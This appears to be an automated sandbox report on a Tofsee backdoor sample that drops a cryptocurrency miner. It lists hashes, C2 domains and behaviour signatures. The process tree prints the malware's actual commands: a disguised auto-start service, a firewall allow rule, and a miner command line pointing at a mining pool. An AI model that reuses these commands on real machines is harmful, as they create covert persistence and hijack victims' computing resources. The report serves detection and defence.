Analysis

  • max time kernel
    149s
  • max time network
    152s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20221111-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20221111-enlocale:en-usos:windows10-2004-x64system
  • submitted
    19/12/2022, 16:13

General

  • Target

    file.exe

  • Size

    302KB

  • MD5

    32dbcdd1bdf62b27fd78893ec0fc885a

  • SHA1

    999d1164d8f90cf4451b17b0faa9dc7e1e70e36a

  • SHA256

    c89cd0e72d30cd64c972295f43322f551340c4bdad9aef49554dc1f0c103517f

  • SHA512

    8babf4a8b75d3ee3138b08c247444086850690ace02fbfcb7f3aed2e5936e64bd152a85474950dde9a23865cbc9c7a35c24dfe7f28671656dd251a93df78ae10

  • SSDEEP

    6144:CLeUZhB0RgCdHJpizQCq/pGRz+3ng+E49HwchLP3i:CCUBQnAKBAwnVZH9P3

Malware Config

Extracted

Family

tofsee

C2

svartalfheim.top

jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 2 IoCs
  • Creates new service(s) 1 TTPs
  • Executes dropped EXE 1 IoCs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 2 IoCs
  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\file.exe
    "C:\Users\Admin\AppData\Local\Temp\file.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:2276
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\zeupnzgy\
      2⤵
        PID:1552
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\utstuegj.exe" C:\Windows\SysWOW64\zeupnzgy\
        2⤵
          PID:1692
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create zeupnzgy binPath= "C:\Windows\SysWOW64\zeupnzgy\utstuegj.exe /d\"C:\Users\Admin\AppData\Local\Temp\file.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:1160
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description zeupnzgy "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:3136
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start zeupnzgy
          2⤵
          • Launches sc.exe
          PID:1848
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:5116
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 2276 -s 1036
          2⤵
          • Program crash
          PID:400
      • C:\Windows\SysWOW64\zeupnzgy\utstuegj.exe
        C:\Windows\SysWOW64\zeupnzgy\utstuegj.exe /d"C:\Users\Admin\AppData\Local\Temp\file.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:3472
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Sets service image path in registry
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:2968
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.60000 -p x -k -a cn/half
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:3176
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 3472 -s 528
          2⤵
          • Program crash
          PID:3808
      • C:\Windows\SysWOW64\WerFault.exe
        C:\Windows\SysWOW64\WerFault.exe -pss -s 452 -p 2276 -ip 2276
        1⤵
          PID:3632
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -pss -s 472 -p 3472 -ip 3472
          1⤵
            PID:3904

          Network

                MITRE ATT&CK Enterprise v6

                Replay Monitor

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                Downloads

                • C:\Users\Admin\AppData\Local\Temp\utstuegj.exe

                  Filesize

                  12.8MB

                  MD5

                  95166dc9419285e3225e871e1ae4617b

                  SHA1

                  ce52512325b5036643f4985ccd3dc8c13ae3ca77

                  SHA256

                  f8c5c684b8993faa0271eef31e5e68fa6a7a73634574522c2f3cc73e2744af5a

                  SHA512

                  c52ed47384eaf86a59aba9af127687b2b4e081dd19e7c6e189dd23f1906b5a5dd5f19df8a3825d18091ec17f7fb5207c632b969f2b1cfebc891514d552363901

                • C:\Windows\SysWOW64\zeupnzgy\utstuegj.exe

                  Filesize

                  12.8MB

                  MD5

                  95166dc9419285e3225e871e1ae4617b

                  SHA1

                  ce52512325b5036643f4985ccd3dc8c13ae3ca77

                  SHA256

                  f8c5c684b8993faa0271eef31e5e68fa6a7a73634574522c2f3cc73e2744af5a

                  SHA512

                  c52ed47384eaf86a59aba9af127687b2b4e081dd19e7c6e189dd23f1906b5a5dd5f19df8a3825d18091ec17f7fb5207c632b969f2b1cfebc891514d552363901

                • memory/2276-144-0x0000000000400000-0x0000000000450000-memory.dmp

                  Filesize

                  320KB

                • memory/2276-133-0x00000000006F0000-0x0000000000703000-memory.dmp

                  Filesize

                  76KB

                • memory/2276-134-0x0000000000400000-0x0000000000450000-memory.dmp

                  Filesize

                  320KB

                • memory/2276-132-0x00000000007D9000-0x00000000007EF000-memory.dmp

                  Filesize

                  88KB

                • memory/2276-143-0x00000000007D9000-0x00000000007EF000-memory.dmp

                  Filesize

                  88KB

                • memory/2968-159-0x00000000023A0000-0x00000000023B0000-memory.dmp

                  Filesize

                  64KB

                • memory/2968-168-0x00000000023E0000-0x00000000023E7000-memory.dmp

                  Filesize

                  28KB

                • memory/2968-146-0x0000000001020000-0x0000000001035000-memory.dmp

                  Filesize

                  84KB

                • memory/2968-165-0x0000000007D40000-0x000000000814B000-memory.dmp

                  Filesize

                  4.0MB

                • memory/2968-162-0x00000000023D0000-0x00000000023D5000-memory.dmp

                  Filesize

                  20KB

                • memory/2968-151-0x0000000001020000-0x0000000001035000-memory.dmp

                  Filesize

                  84KB

                • memory/2968-152-0x0000000001020000-0x0000000001035000-memory.dmp

                  Filesize

                  84KB

                • memory/2968-153-0x0000000002C00000-0x0000000002E0F000-memory.dmp

                  Filesize

                  2.1MB

                • memory/2968-156-0x00000000011F0000-0x00000000011F6000-memory.dmp

                  Filesize

                  24KB

                • memory/3176-172-0x0000000000830000-0x0000000000921000-memory.dmp

                  Filesize

                  964KB

                • memory/3176-177-0x0000000000830000-0x0000000000921000-memory.dmp

                  Filesize

                  964KB

                • memory/3472-150-0x0000000000400000-0x0000000000450000-memory.dmp

                  Filesize

                  320KB

                • memory/3472-149-0x00000000006D4000-0x00000000006EA000-memory.dmp

                  Filesize

                  88KB